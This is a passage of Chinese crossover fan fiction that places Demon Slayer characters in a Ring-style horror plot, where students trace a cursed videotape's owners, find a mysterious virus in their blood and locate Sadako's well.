半个小时之后,一无所获的炭治郎有些失落地坐在达也的小床上。 真的就一点线索都找不到吗? “炭治郎,别天真了。”无惨适时地说话。 “区区人类,想赢过鬼简直是痴人说梦。” “就凭你们根本解不了贞子的诅咒,那个女人很聪明,手段了得。你除了借用我的力量外,根本没有其他办法。” “这次你耍不了小聪明了,那个女人绝不是能轻易被人劝说得动的,她恨的是这个世界。” “继承我的力量吧,这样所有人都能得救。” 既然炭治郎一个人不怕死,那加上他那些朋友的性命作为筹码呢? 他能眼睁睁地看着自己的同伴去死吗? 已经有个活生生的例子在他们面前了。 炭治郎静静地坐在那里一言不发,他知道无惨说的是真话,这一次不像裂口女那么简单,他们甚至连诅咒是谁下的都不知道… “等一下,无惨,你怎么知道下咒的人叫贞子?” “你们认识吗?” 无惨恨不得抽自己一巴掌,他真的是得意忘形了,以为这一次终于把炭治郎逼入绝境,要将他收入囊中了,一不小心就说多了。 他这一次依旧打算用沉默应对,然而炭治郎很快就反应过来… “不对,你不是战国时代的人吗?” 因为上一次的历史考试,炭治郎将无惨当作五百年前的人,就从死的时间上,对方就与录像带的主人对不上,所以应该不认识才对。 “对哦,录像带的最后一幕那只眼睛上有一个‘贞’字!” “无惨,你是从这上面推论出女鬼的名字的吧!你可真聪明!” “谢谢你帮了我!” 22.第 22 章 即使被无惨拿性命威胁了一番,但面对此鬼无意之中的一句提醒,炭治郎还是由衷地感谢道。 无惨听了却更加恼羞成怒:“就算你知了名字又如何!” “你会来求着我,继承我的力量的!” 还真的是个恶劣的鬼。 炭治郎一边腹诽着无惨的臭脾气一边继续翻找着。 人不会一直倒霉下去,在与无惨聊完后,他拿起床上的枕头,在枕头下面发现了一本日记。 虽然这年头,谁好人家还写日记啊。 只是这份记录如今对于炭治郎来说太重要了。 这说是日记但其实是达也先生对于自己淘来的灵异之物,所写的笔记罢了。 前面大部份,记录的都是达也淘来的其他东西,当然那些东西最终证明都是假的罢了,直到炭治郎翻到差不多快结尾的时候,终于翻到了写着神秘录像带的那一页。 5月16号,从朋友那收到了传闻中七天内看了会死的录像带,当天晚上就看了,结果接到了神秘电话。这一次会是真的吗? 5月17号,打电话给了那个朋友,朋友问我是不是吓到了,原来那是朋友的恶作剧吗? 5月18号,无事发生。 5月19号,无事发生。 5月20号,朋友不接电话了。 5月21号,朋友的妻子打来电话,让我去参加朋友的葬礼。 5月22号,她来了,她来了,她来了!那个传闻是真的!不要看录像带!不要看录像带!绿子,拜托了,销毁录像带!那是个诅咒!诅咒!死死死死死死! 之后几页密密麻麻都是死字,且越写越乱,可以看出那个时候达也先生有多么绝望,虽然对于灵异感兴趣,但从一开始达也其实并没有把录像带当真,所以抱着试一下的心态,结果却没想遇到真的了,并付出了生命的代价。 根据笔记上所写的,这盘录像带是从一位朋友那收到的,那位朋友应该也是对灵异感兴趣的吧。 炭治郎放下笔记,又继续翻找着,想看看还有没有其他线索了,在抽屉底下发现了一张传单。 那张传单画风阴暗,像极了恐怖片的海报。 欢迎参加不可思议交谈会。 这是一张集会邀请单,时间是上个月。 如果是达也先生的朋友的话,应该也会参加这种集会吧,说不定两人就是在这集会上认识的。 炭治郎拍下这张传单的照片,并且放回原位。 做完一切,他在屋内拜了拜。 安息吧,达也先生。 他离开了屋子,回到小木屋,来到外面见到伊之助和善逸。 据善逸所说,忍学姐十分钟之前已经出来了,并回到了小屋。于是两人也不多留,也回去了。他们到小屋时,有一郎还在指挥着工作人员修东西。 “你们确定是这里漏水了吗。我都检查多少遍了。” 已经在这里找了快一个小时漏水地的工作人员,此刻已经完全不耐烦了。 “可能是我记错了。你先回去吧,等再漏水就叫你。”有一郎说道。 那人瞪了这兄弟俩一眼,恨恨地走了。 炭治郎看着被他们折腾得不轻的工作人员,只能内心说了句抱歉。 为了活下去,他们只能这样做。 然后他发短信叫回来了祢豆子和香奈乎。 众人关紧门窗,还拉上窗帘,以防对话被别人发现。 忍先说,她去了女工作人员的房间,房间里确实留了一些达也的私人物品,但仅仅只是一些衣物之类的,其他更多的就没有了。 当她说完,所有人的目光都落在了炭治郎身上,希望他能带来一些有用的线索。 炭治郎也不负他们所望,将自己知道的都说了出来。 并拿出那张照片。 “同样喜好灵异的朋友,以及恶灵贞子,干得漂亮炭治郎。” 忍大喜,炭治郎带来的消息真的太有用了,特别是恶灵的名字,有了名字,很多事情都好办多了。 “真不愧是炭治郎,查到这么多事情。”时透找机会就夸赞炭治郎。 “这都是大家的努力。”炭治郎笑着说道。 度假村最后一点线索也调查完了,如今他们还有六天时间,得赶紧找到录像带的上一任主人,并调查名为贞子的超能力者。 无论如何,还没有到最后一刻,他们还不能放弃。 众人赶紧收拾东西,准备离开。 只是在收拾东西时,他们感觉好像少了什么。数了一下人数,是八个人没错了。 对,没错,是八个人。 他们按照来时的座位,坐在车上,然后一直静坐着,车子没有动,因为没有司机。 “唉?义勇老师呢?”香奈乎问道。 等他们找到义勇时,那老板娘还依依不舍,只要义勇愿意留下来,就给他度假村30%的股份。 忍微笑道:“挺受欢迎的嘛,义勇老师。” 虽然他们这边用出美男计,但就这效果而言简,直是太好了。 最终在他们的劝说下,老板娘这才松开了一脸困扰的义勇,他们这才得以离开度假村。回去的路上,他们依旧是叽叽喳喳地说着话,车内热闹非凡。 只是这一次,他们是为了活下去。 他们要查的事情太多了,女鬼贞子是什么人?这盘录像带是从何而来的?达也先生的那位朋友是谁?解除诅咒的方法究竟是什么? 这一连串的疑问压在这些年轻人的身上,并且只有六天的时间。 虽然时间紧迫,但他们得先回家了。 义勇开车将这些学生们一一送回家,他按照远近顺序选送了善逸、伊之助,然后是蝴蝶姐妹,再是炭治郎和祢豆子。 “那明天见,义勇老师,时透还有时透哥哥。”炭治郎拿好自己的行李从车上下来。 “嗯,明天见。”时透笑着跟他挥手。 “对了,炭治郎。” 就在炭治郎转身时,时透突然叫住了他:“炭治郎是怎么知道那女鬼叫贞子的?” 虽然那只眼睛上确实有个“贞”字,但仅凭一个“贞”字就能确定叫“贞子”吗?或许她可以叫“贞村”“贞志”“贞兰”…还有很多很多种可能,但炭治郎却很肯定地说是“贞子”… “这个…那个…”炭治郎一时之间不知道怎么回答,总不能说是体内的恶灵告诉他的吧。 他 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炭治郎自以为自己隐瞒得很好,但恐怕不仅是他们车上这三人,就连忍也看出来了吧。 “放心吧,就冲那臭小子永不放弃的性格,他可没那么容易出事。”有一郎一手撑着头靠在车门上,一脸不快地说道。 虽然他不喜欢弟弟亲近炭治郎,但也承认那家伙确实是一个有毅力的。 时透回过头微笑着看着自家哥哥:“哥哥也觉得炭治郎很厉害吗?” 有一郎不说话,只是冷哼一声。 看出自家哥哥的口是心非,时透笑得更开怀了。 反正第一天,看到炭治郎时,时透就知道,炭治郎是一个像父亲一般的绝世大好人。 此时已经进到屋里的炭治郎并不知道时透兄弟对自己的评价,在一一抱起扑上来的弟弟妹妹后,他与祢豆子便开始紧张地调查起来。 他们开始搜索那张宣传单上的地址,幸运的是那个地址还挺近,坐公交差不多半个小时就能到。他们打算明天,去那里一趟,看看能不能找到给达也先生录像带的那位朋友的地址。 之后,他们一直在搜索“贞子”这个名字,出来的词条太多了。 他们又搜了“超能力”“贞子”这两个词,依旧是一堆乱七八糟的东西。 也是,仅凭贞子两个字,又是那么久远前的人了,想要从错综复杂的信息网里找到,他们找到的那位贞子小姐,实在是太难了。 已经连续看了三个小时电脑的炭治郎,揉了揉眉心。 他回头看向累睡着的妹妹,自从看过那盘录像带后,祢豆子一直话很少,并且散发着一股愧疚感。 或许她觉得如果不是自己发现了那卷录像带,众人也不会诅咒了。 他轻手轻脚地走上去,替祢豆子披上一条毯子,并轻抚上祢豆子的头:“不是你的错啊。” 无论祢豆子有没有发现那盘录像带,那盘录像带一直在那里,那个诅咒一直存在。 让众人中了诅咒不是祢豆子,也不是达也先生,而是诅咒本身。 23.第 23 章 “祢豆子,放心,哥哥一定会救你的。” “帮你以及大家,解除诅咒。” 看着熟睡的祢豆子,炭治郎许下诺言,然后一愣… 这话自己怎么好像说过?对着祢豆子,但却不是现在的祢豆子? 这种急切地想要拯救祢豆子的心情,让他有一种熟悉感,却记不起来是曾几何时的事了。 “炭治郎、祢豆子吃饭了。” 就当炭治郎想要细想之际,门外响起妈妈的声音。 炭治郎轻轻推了推祢豆子,将她叫醒。 两人出去吃饭。 饭桌上,葵枝问起炭治郎和祢豆子这一次出去度假村,玩得开心吗? 炭治郎端着饭碗:“嗯,很开心。” 虽然中间出了事,但是昨天白天时,他们确实玩得很开心。 “嗯,那就好。”炭十郎笑着点头。 “这样吧,马上就要夏天了,到时我们一家去海边旅行,怎么样?”作为一家之主的他提议道。 他们已经好久没有一家人出去玩过了。 “好耶!出去玩喽!出去玩!” 花子和茂率先举双手赞成,竹雄虽然没有那么激动,但也是眼睛亮晶晶的,六太还小显然有些听不懂爸爸在说什么,但看到哥哥姐姐那么高兴,也是开心地拍起了手。 “嗯,那就等暑假一起去海边吧,我们一家人。你说对吗?祢豆子。”炭治郎笑着看向有些局促的祢豆子。 即使他们还剩下六天时间,但一切都还没有结束,他们还有希望。 如今他们许下约定,等夏天到了一家人去看海,说好了一家人,那就一个都不能少。 他们一家人要永远在一起。 “嗯。” 从昨天开始就一直没有笑过的祢豆子,终于露出笑容。 哥哥说得对,等夏天时,他们一家人都要一起去看海。 带着对夏天的约定,炭治郎和祢豆子更要一起努力破除诅咒。 第二天,他们到学校时,被忍叫到了学生会办公室。 除了他们两个人以外,还有那天在度假村所有人。 忍从抽屉里拿出一份文件:“感谢姐姐,在法医那边有认识的人。” “她拿到解剖报告。” “你们知道那两个人的死因是什么吗?” 昨天回去后,忍并没有瞒着香奈惠,当然她也知道自己瞒不过姐姐,所以坦白了一切。三姐妹在家中努力调查,并拿到了第一手报告。 这件事香奈惠是冒了风险的,但是为了两个妹妹的生命,她必须这么做。 “忍学姐,你别瞒着了,快说吧。”善逸急切地问道。 一想到自己还有五天可活,他就坐立不安。 忍也并没有继续卖关子,打开了那份报告:“从表面上看,那两个人都是受到惊吓,心肌梗死。” “但实际上,这两人死于天花。” “这不可能!”义勇立刻反驳道。 “为什么这么说?”祢豆子疑惑地问道,年纪小的她,并不知道天花是种什么可怕的东西。 时透替她解释道:“因为天花已经于1980年灭绝了。” 已经灭绝的病毒,又是时隔了那么多年,怎么可能会突然冒出来。 伊之助:“俺知道,是鬼带来的!” 面对伊之助的异想天开,众人只是一笑而过。 “其实说是天花,并不确定,因为报告上说了,形似而非,所以我估计可能这是新型病毒。” 炭治郎:“所以说,我们遇到的并不是诅咒,而是新型病毒吗?” 忍勾唇一笑:“或许病毒只是女鬼的诅咒手段而已。” 诅咒的方式有许多种,谁说病毒就不是了呢? “总之,去做个检查吧。”忍说道。 他们得确认,自己身上是否有和死者一样的病毒。 说完香奈惠就走了进来,她带着众人前往了朋友的医院,大家在那里抽了血。由于要做非常详细的检查,结果要等到明天才能出来。 剩下的时间,他们打算各自调查,忍这边继续调查有关死者的事,而炭治郎和祢豆子去查录像带的上一任主人,时透兄弟去查有关贞子的事,而义勇带着善逸和伊之助去查是否有看过录像带,而活着的人,由此找到破解诅咒的方法。 炭治郎和妹妹根据地址,找到举办了那场灵异研讨会的地址。 那只是一个普通的宴会厅,专为各种研讨会提供空间。 在听到炭治郎他们想加入某个灵异研讨会后,他们倒是给了几个推荐。 于是炭治郎拿出那张传单:“请问有这个研讨会的联系电话吗?” “这个呀,我们的老顾客了,每隔几个月都办一次。等一下,我拿会长的电话给你。” 幸运的是,前台在看到那张传单后,表示知道这个研讨会的会长,给两人拿来了联系簿,从中找到了会长的电话。 炭治郎赶紧打电话表示,想与会长见一面。 会长非常欢迎能有新人加入,于是告诉炭治郎自己家的地址。 由于时间紧迫,炭治郎表示今天就想来拜访对方,会长没有拒绝。 两人又风风火火地前往了会长家,那位会长住在高级公寓,炭治郎两人想进去,还被保安给拦住了,后来还是打了会长电话,才被允许进去的。 在看到是两个孩子后,会长给他们倒了果汁。 真不愧是灵异研究会的会长,他的家里也摆了很多恐怖的物件,但前天夜里那么恐怖的事情都经历过了,兄妹两的神色都很淡定。 “这样啊,你们是从达也那知道研究会的事。”会长将杯子放下,坐在了炭治郎的对面。 “达也最近怎么样。” 看来,他并不知道达也已经死了的事。 “抱歉。”炭治郎神色哀伤。 会长已经是六十岁的老人了,经历过很多事,从炭治郎的表情,便已经猜到。 他长叹一口气:“唉,那小子之前还让我参加他的婚礼呢,怎么就…” “这才参加了笃的葬礼…” 说着,他又叹了一口,果然是世事无常。 葬礼? 听到这个词,兄妹两对视一眼! 祢豆子赶紧问道:“请问笃先生是21号去世的吗?” 会长一愣:“你们连这也知道?看来达也的关系不错呀。” 炭治郎不好意思说,自己是偷看了达也的笔记才知道的。 祢豆子赶紧点头:“是的,会长爷爷你知道笃先生家在哪 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讲起灵异故事的他,神色一变整个人变得严肃凝重起来。 “那个时候,有一个都市传说,凡是看过某个录像带的人,七天内就会死。” “我也曾经调查过这件事,你们也知道做我们这一行的,总是对未知的事物抱有浓烈的兴趣。可惜,这么多年过去了,我一直没有找到那盘录像带。” 提起这件事,会长满脸遗憾。 “那传说里,有没有破解之法呢?”祢豆子追问道。 会长仔细想了一下:“没有,据说看过录像带的人都死了。” 祢豆子失落地垂下眼眸,这时炭治郎牵住她的手,从掌心传来的温度让祢豆子重新振作起来。 又和会长聊了一会后,两人便告辞了。 他们还要前往安野笃家,在又转了两次电车后,他们找到安野笃家。开门的是安野太太,听说是达也的朋友,安野太太便把他们放进来了。 两人先去佛龛前,祭拜了安野先生。 安野太太抹着眼泪:“原来达也先生也走了吗?” 达也作为自己丈夫的朋友,她也是见过很多次,然而短短几天,自己的丈夫和丈夫的朋友都死了。 “是的,他临走前还留下了这个。”祢豆子把那盘录像带拿了出来。 “他本来还想还给安野先生的。” “咦,是这个呀。”安野太太一眼认出了那东西。 她摆摆手:“不用了,你们留着吧,这本来就是我弟弟送过来了,给他们俩当作收藏用的。” “现在笃也走了,我留着也没什么用。” “你弟弟!他也看过这录像带吗?” 安野太太被祢豆子焦急的神色吓了一跳,不明白这不就是几十年前的老件吗?至于这么激动吗? 但她还是摇摇头:“这我就不知道了。” “你们想知道的话,就去问问他吧。” 说着她便写下弟弟家的地址,交到两人手上。 这一圈转下来了,他们跑了这么多地方,也不能说一无所获吧,只能说是毫无线索。 现在他们只能将希望寄托于安野太太的弟弟身上。 24.第 24 章 “是吗?那还是麻烦炭治郎你和祢豆子再多跑一趟。” “学校那边,义勇会帮我们请假。” 电话那头,忍从炭治郎口中知道了今天发生的事,而她这边也是没有什么收获。死者身上类似天花病毒的新型病毒,他们还是没有研究透。 今晚一过,他们就只剩四天时间了。比起上学,还是找出破解诅咒的方法更重要一些。 “嗯。”虽然炭治郎并不想缺勤,但忍学姐说得对,他们得全力找出方法破解诅咒。 第天一早,为了不让父母担心,炭治郎和祢豆子一如往常地背着书包,与竹雄共走一段路,在看着竹雄往学校的方向去后,两人立刻调转方向,前往昨天安野太太给他们的地址而去。 他们找到一家民宅,门牌上写着“长谷川”三个字。 是这里没错了。 炭治郎上前按响门铃,可是按了半天,都没有人开门。 两人正准备站在门口喊时,这时隔壁邻居出来了。 “小朋友,你们找这家人有什么事吗?” “是安野太太让我们过来的。” “兰子啊。”听说是这家人的女儿,邻居一脸了然。 “说起来,这件事还没有告诉兰子呢。” “什么事?”炭治郎怕长谷川家出什么事,赶紧问道。 那位安野太太不能再受到任何打击了。 “也没什么,就是他弟弟阿勇,好像生病了,今天早上送去医院。”邻居太太说道。 还好,没有性命之忧。 听到人还活着,炭治郎松了一口气。 “那您知道,送去哪家医院了吗?” 邻居太太摇头:“这个我就不知道了。” 她只是早上听到救护车的声音,透过窗户看到医护人员将人抬上车,其他就不知道了。 没有办法,炭治郎和祢豆子只能在这里等,这一家人去得匆忙,总归还会回来的。 就这样两人一起站在长谷家门口,从早上蹲到中午,中间祢豆子还去买了咖啡汉堡,做好了打持久战的准备。 他们的时间不多了,如果可以他们今天必须见到安野太太的弟弟,不能再拖下去了。 终于在下午一点多,太阳最毒的时候,蹲在门口的两人听到脚步声。 “你们是谁?蹲在我家门口做什么?” 一个穿西装的老爷爷疑惑地看着两人,听到是自己女儿介绍来的,于是开门让两人进去。 “抱歉,你们也来得也不巧,阿勇生病了,我和孩子他妈也是忙坏了。” “不,是我们叨扰了。”炭治郎进屋后环视了一眼,虽然比起达也和笃两人的房间要明亮得多,但这个屋子里也有一些灵异物品。 看来这位阿勇先生也是灵异爱好者。 两兄妹在长谷川的招待下坐了下来。 炭治郎关心地问道:“阿勇先生还好吗?” 长谷川叹了一口气:“也说不上什么好不好吧,人呆愣愣的,问什么也不答,唉~早就让他别碰那些东西,别碰就是不听,也不知道招惹了什么。” 显然阿勇的父亲很讨厌儿子去碰那些神神鬼鬼的。 炭治郎抿了抿唇,即使不喜欢儿子接触那些东西,可是仍然允许他在家里摆放这些东西… 然而他也来不及伤感这些,如今他们必须尽快问清楚关于录像带的事。 于是他们将录像带拿了出来,如今阿勇没办法说话,只能问问他的家人。 “阿勇的东西,我也不太清楚,你们想知道的话,去他房间看看吧,或许有购买记录。” 长欲川先生领着两人来到阿勇的房间,果然一打开门,就看到了大量的恐怖东西。 早上出门得急,长谷川还要收拾住院的东西,便先离开一步,让两个孩子自己慢慢找。 炭治郎来到书桌前,找了找果然看到了一本笔记,果然这里面也是记录了阿勇收集来的各种灵异物品。 终于他看到了有关录像带的记录,根据上面所写,这是阿勇自己从跳蚤市场收来的。 跳蚤市场不是天天有,而且不会有购买记录,这让他们怎么找呢。 “哥哥,你来看。”祢豆子突然出声道。 炭治郎转身看到弥豆子手上有一盘录像带,那一盘录像带同样没有任何标签,会是同一个内容吗? 正好房间里有一台放映机,两人怀着忐忑的心情,看了那盘录像带。 随着录像带播放,里面是一则古早的汽水广告,两人露出失落的表情,就在炭治郎准备关掉电视时,突然画面变了,那熟悉的文字跳了出来,然后是圆形画面里男人模糊的面容! 这是个!是这个没错了,之后的内容一模一样! 炭治郎拿着那盒录像带,请阿勇的父亲,让他带回几天。 长谷川同意了,在他看来,那只是一个老物件罢了。 还有一件事,炭治郎想一起去医院看看阿勇先生,虽然阿勇先生可能说不了话,但是有一件事,他想确认一下。 阿谷川答应了这个小小的请求,开车带着两人一起去了医院。 进入病房,果真如阿谷川所说,阿勇先生整个人消瘦地坐在那里,神色呆滞,没有一丝人气。长谷川太太絮絮叨叨地和他说着话,但他一个字也没有回。 “阿勇先生。”炭治郎走上前,呼唤着他的名字。 他来到阿勇面前,拿出那盒录像带:“你还记得这个吗?” “你看过了里面的内容对吗?” “你是几号看的?” “是复制了之后,还是之前?” 炭治郎一口气问了很多,但是对方一个字也没有回,他的心已经死了。 那天直到离开阿勇也没有说一个字,只是如没有心的人偶般坐在那里。炭治郎宽慰了两位老人一番后,带着阿勇的头发离开医院。 就在刚刚靠近病床时,他偷偷拔了一根下来。 这样,应该就能知道阿勇先生有没有看那盘录像带了。 他将这个消息告诉了忍,忍让众人来到学生会集合,因为时透兄弟带来了有关“贞子”的消息。 直到最后义勇进来,全部的人都到齐了,时透这才拿出好几份剪报出来。 那些报纸都已经泛黄,并且还有破损,时透指向报纸一则新闻。 “我和哥哥跑了两天,查到了这个旧事。” 报纸上是关于一位超能力者的测试,受实验者名为山村志津子,据说她拥有透视能力,几次都能准确说出匣子里藏着的字,但在某次实验中,在大量的 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“你们知不知道,我们查了很多离奇案件,好多死于心肌梗死的,这个诅咒根本就没有解!” 或许是这两天的离奇案件看太多了,善逸此时怕得发抖。 “善逸,别这样。也不一定没解吧,像阿勇先生不就还活着。”炭治郎劝慰道。 “阿勇?” 对了!除了忍学姐之外,其他人还不知道自己调查到的事。 于是祢豆子将他们是怎么从灵异协会的会长,找到安野家,又找到长谷川家,又在那里找到了另一盘录像带的事,事无巨细地讲了出来。 虽然他们现在还不知道,阿勇究竟有没有看过那盘录像带。 但从当时的情况来看,大概率他是已经看过的。 听到这个消息,善逸紧绷的神经终于放松了些。 但随即义勇泼了一盆冷水。 “但阿勇和植物人没有任何区别。” 善逸又要哭了。 对呀,活是活着,但跟死了有什么区别。 就在他要哭不哭时,敲门声响起,香奈惠走了进来。 “大家都在,正好昨天的报告单出来。” 香奈惠手中拿着报告单走了进来,伊之助赶紧一把接过,当着众人的面打开,然后面露沉色… 以伊之助的智商估计看不懂这些。 忍还是自己拿了过来,她一页页地翻了过去,面色越来越凝重,直到最后一张,她露出惊讶的神色,并且由于太震惊了,一不小心就“呀”了出来。 “报告单上写了什么?”义勇问道。 忍放下报告单,环视众人,轻声开口道:“结果出来了,我们九个人,八个人体内拥有和死者一样的病毒。” “八个人?”香奈乎疑惑地接过了姐姐手中的报告单。 “谁!谁这么好运没有中诅咒?”善逸立刻问道。 明明他们所有人都是一起看的,怎么还有一个人没中招。 忍没有说话,而是默默地看向一人,所有人的目光随着她的视线看去… 八个人的目光落在了那个红发少年身上… “我?”炭治郎也是一脸不可思议地指着自己? 25.第 25 章 报告单上写得很清楚,除了炭治郎外,他们每个人体内都拥有和达也一样的环型病毒。 所以可以肯定,他们确实是因为看了录像带而中了诅咒。 可和他们一样看了录像带的炭治郎却并没有。 这是什么呢? “炭治郎,你快想想,你最近做了什么解除了诅咒!”善逸将全部的希望都放在了炭治郎身上。 希望从他这两天的行动中找到解除诅咒的方法。 可是炭治郎确实不知道自己做了什么特别的,当时他是和大家一起行动的,之后也是和祢豆子在一起。 就没有额外有什么举动了。 可为什么偏偏他没有中诅咒呢? 他怎么也想不明白,可他必须想,这关乎所有人的性命。他在房间内来回踱步,不停地咬着大拇指,思绪在错综复杂的迷宫里,寻找着那唯一的出路。 “方法…方法…” 怎么想不出来,自己究竟是哪一步,无意之中破解了诅咒,这让炭治郎越发焦急。 “炭治郎,冷静点,不要往死里逼自己。”忍拉住他的手,让他冷静点。 “是啊,哥哥,还有四天时间,慢慢来。”祢豆也劝说道。 两人扶着炭治郎坐下,可坐下来后的炭治郎依旧坐立不安,这么多条人命压在他身上,这让他如何不心焦。 “记忆就是这样,越是着急,反而不容易想起,不如这样,我让我的一个医生朋友替你做个催眠,这样或许就能想起来了。”香奈惠见炭治郎的模样,于是提议道。 “不行!”炭治郎想也不想地就反驳道。 如果他失去意识的话,就不能压制无惨了! 上一次的催眠,无惨就一点杀了那位心理医生,自己绝不能让这样的事重演一遍。 或许是炭治郎的情绪太激动,把所有人都吓了一跳。 看着红了眼眶的炭治郎,香奈惠赶紧劝慰道:“好,那就不催眠,你慢慢想,别把自己逼得太狠。” 炭治郎如做错事的孩子一般,垂下头:“对不起。” 他并不想这样的,他只是太着急了。他不想让朋友们死,也不想无惨出来伤害他的朋友们。 “炭治郎…”唯一知道炭治郎秘密的善逸,神色担忧。 随着天色渐晚,炭治郎将那根阿勇头发交给了香奈惠后,众人便各自回家了。回家后炭治郎仍然在想着,为什么只有自己…只有自己没有中病毒。 一直想着这件事的炭治郎就连晚饭都没有吃几口,便匆匆回房了,他将自己这两天所做的事,所吃过的东西,都一样样地写下来,哪怕是扔垃圾这种小事,他也写在纸上,生怕错漏掉任何一个细节。 他一直写到深夜,一盏台灯,一支笔,一个人在那里挑灯夜战。 不知不觉已经过了午夜12点,他们只剩下三天时间。 为了救妹妹和朋友们的性命,他必须拼尽全力。 突然门外传来敲门声。 “炭治郎。” 葵枝的声音在屋外响起。炭治郎立刻合上笔记,让妈妈进来。 葵枝端进来一杯牛奶:“炭治郎,即使再怎么努力学习,也要好好吃饭呀。” 也不知道祢豆子对她说了什么,让她以为炭治郎因为上次没考好,而困扰。 这种解释也让炭治郎如释重负,不用过多地解释什么。 他接过牛奶,一饮而尽:“嗯,我知道了妈妈。” 葵枝见孩子喝完牛奶露出放心的笑容:“其实炭治郎不用太担心成绩的事。” “我和你爸爸并不期望你能有多大的成就,只要开开心心,平平安安地长大就行。” “我们知道你是个坚强的孩子,但偶尔妈妈还是希望你能向我们撒撒娇。” 她知道这个孩子,一直觉得自己是长子,一直有着责任感,照顾弟妹,不给她和炭十郎带来麻烦,坚强且温柔地默默承担着一切。 可他终究只是十几岁的孩子,是他们的孩子。 “炭治郎无论你想做什么事,妈妈都会支持你的,但永远记得,你的身后还有我们,我们是家人。” 自己的孩子自己怎么不了解呢? 她看得出来炭治郎最近瞒着他们,不知道自己偷偷做着什么,也知道他和祢豆子最近根本没有去上学。 可她和炭十郎都没有去问。 她相信自己的孩子绝不是那种无缘无故就翘课的人,他们一定在做非常重要的事。做家长只要在背后默默支持就好,但她看不得孩子将所有的一切都压在自己身上,让自己那么沉重。 “妈妈…” 看着明明心有所觉,却依旧什么也没问,反而温柔以待的妈妈,炭治郎突然感觉鼻子一酸,他抹掉还没来得及落下的泪,红了眼眶,重重地点了点头。 葵枝摸了摸他的头:“早点休息吧,你不睡的话,不仅是我和你爸爸,连那些小家伙也会睡不着的。” 炭治郎一愣,朝门边看去,只见粉色的衣袖露了出来,那件衣服是他去年用打工的钱给花子买的。 祢豆子、竹雄、茂、花子还有六太… 大家都在门口默默地关心着他,一股暖流涌进心间。 他回过头,朝着妈妈微笑道:“晚安,妈妈。” “晚安,炭治郎。” 为了明天更好地找出破解诅咒的方法,炭治郎什么也不想,好好地睡上一觉,第二天神清气爽地起床。 这一次,他和祢豆子出门时,谁也没有拿上书包。 “我们出门了。” 竹雄也没有吵着跟他们一起去上学,而是和其他人一样,坐桌边让他们早去早回。 两人已经没有任何要调查的东西了,索性直接找到了忍,炭治郎将自己的笔记交给对方,想让她参考一下,自己的行动里是否有破解诅咒的关键。 忍很认真地一页页地翻过去,炭治郎和祢豆子静静地坐在那里,丝毫不敢打扰她,期待以忍的聪明才智找到破局之法。 “这个…” 终于在看了半个小时后,忍正要发言… “碰!” 突然学生会的大门,被人猛地踹开。 “喂,你放开我啊!” “我是说过你们身上有诅咒!但是你这个诅咒太厉害了…” 在吵闹中,伊之助拉着一个胖胖的,脖子上戴着佛珠的男人进来了。 “炭八郎!你不用那么辛苦找办法了,本大爷抓了一个灵能力者过来。” 伊之助一个未成年,直接将那个体重有他三倍大的人给甩到了三人面前。 看到学校里出现了一个陌生 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“就在回来的路上,刚刚那个男人一脸惊讶地看着我们,说我们被诅咒了。” “伊之助就急急忙忙地把他带过来了。” 说着,善逸将贞子的照片拿了出来,那是一张已经褪色的照片,虽然年代久远,但是依旧可以看出来那位贞子小姐是一位令人难以忘怀的绝世美人。 以炭治郎的眼光来看,这位贞子小姐拥有着不输富江的美丽和魅力,只是他现在来不及想那么多。 在听完善逸的话后,他立刻冲了出去,因为那位森罗万象丸先生是真的灵能力者! 他不是什么骗子! 对方在见到自己那么大的反应,绝对是看到了自己体内的无惨!如果是这个人的话,他绝对能帮到自己! 于是他追了出去! 本来已经跑出教学楼的森罗万象丸,刚准备休息的他,回头一见炭治郎追了出来,更是吓得继续跑了起来。 “等一下!等一下!森罗先生!我需要你的帮助!” “梦罗先生,别跑了!” 炭治郎一边追一边喊,随着他的喊话,那位森罗万象丸先生,脚步逐渐慢了下来。 他停在校门口,背对着炭治郎:“我知道你要问什么。” “对不起,你身上的恶灵太厉害了,我帮不了你。” 听到灵能力者,无法帮助自己,炭治郎也没有灰心,继续问道:“那你认识更厉害的灵能力者吗?” 森罗万象丸转过身,从口袋里翻出一本手册:“像你这种情况,很严重,我得先向上申报一下,然后再问问净堂先生的排期。” “不过,小朋友你这种情况,至少得一百万的报酬。” 他们的基础报酬都是20万,更别说附在这个少年身上的可是一只千年厉鬼了。 只是站在那个少年身旁,就让人感到胆寒。 也正因为如此,森罗万象丸也很好奇:“你是怎么压制住他的?” 一般人早就被这种恶灵夺舍,成为容器了。 所以一开始,他看到这个少年时,还以为对方是被恶灵操控的状态。 结果居然是本人的意识,这么一想,更可怕了! 26.第 26 章 “可能我一直有好好吃饭,好好锻炼身体吧。”炭治郎根本不知道,自己这种情况是有多强,一脸认真地解释道。 森象万森丸一愣,然后拼命翻着书:“是这样吗?” 虽然总感觉哪里不对劲,但眼前的少年确实没有被恶灵操控。 他写下一位灵能力者的联系电话:“如果你真想找人帮忙除灵的话,找这个试试,还是不行的话,准备好钱找净堂大师吧。” 这是他最后能帮这个少年做的事了。 炭治郎感谢地接过地址:“那这个人能帮助我的朋友们解除贞子的诅咒吗?” “贞…贞…贞…子的诅咒!”森罗万象丸都尖叫了起来了。 “你知道贞子的诅咒!” “当然知道,这是我入行后的经典案例。” “没有人能逃过贞子的诅咒,就算侥幸逃过了,诅咒仍有残留,不知道什么原因,无法根除。” “小朋友,你有手机吗?” “有。” 炭治郎掏出手机,两人交换了邮箱地址。 “这种件事一两句话也解释不清楚,我回去后将资料发给你。” 虽然森罗万象丸做事有些照搬手册,但也是一个热心肠的人,即使自己帮不了炭治郎他们,但还是给予自己最大的帮助。 “谢谢你,森罗先生。”炭治郎感激道。 与森罗万象丸道别后,炭治郎回到学生会。 此时义勇老师也在,在看到炭治郎回来后,忍问他有没有追到那位灵能力者。在听到善逸的讲述后,她已经基本确定,那是真正的灵能力者。 炭治郎点头又摇头:“追是追到了,但森罗先生表示自己没有能力解开贞子的诅咒。” “这样吗?”忍的眼中闪过一瞬间的失落,又很快恢复过来。 她笑着说道:“义勇老师可能找到了贞子的尸骨哦。” “真的吗?”炭治郎惊喜地看向义勇。 义勇点头:“嗯。” 他拿出一份地图:“根据录像带中的那口枯井。” “我怀疑贞子被人谋杀了,藏尸枯井。” “所以调查了一下枯井的位置。” “最终查到枯井的位置曾经是一处名为南箱根太平洋乐园的废弃度假村。” “而这个度假村的前身是南箱根疗养院,那家医院专门接收肺结核病人。” “贞子的父亲伊熊教授就是身患肺结核。” 串联起来了!一切都串联起来了! 去照顾父亲的贞子,不知道什么原因,被人杀害而藏尸井中,杀害她的应该就是录像带中的那个面容模糊不清的男人。 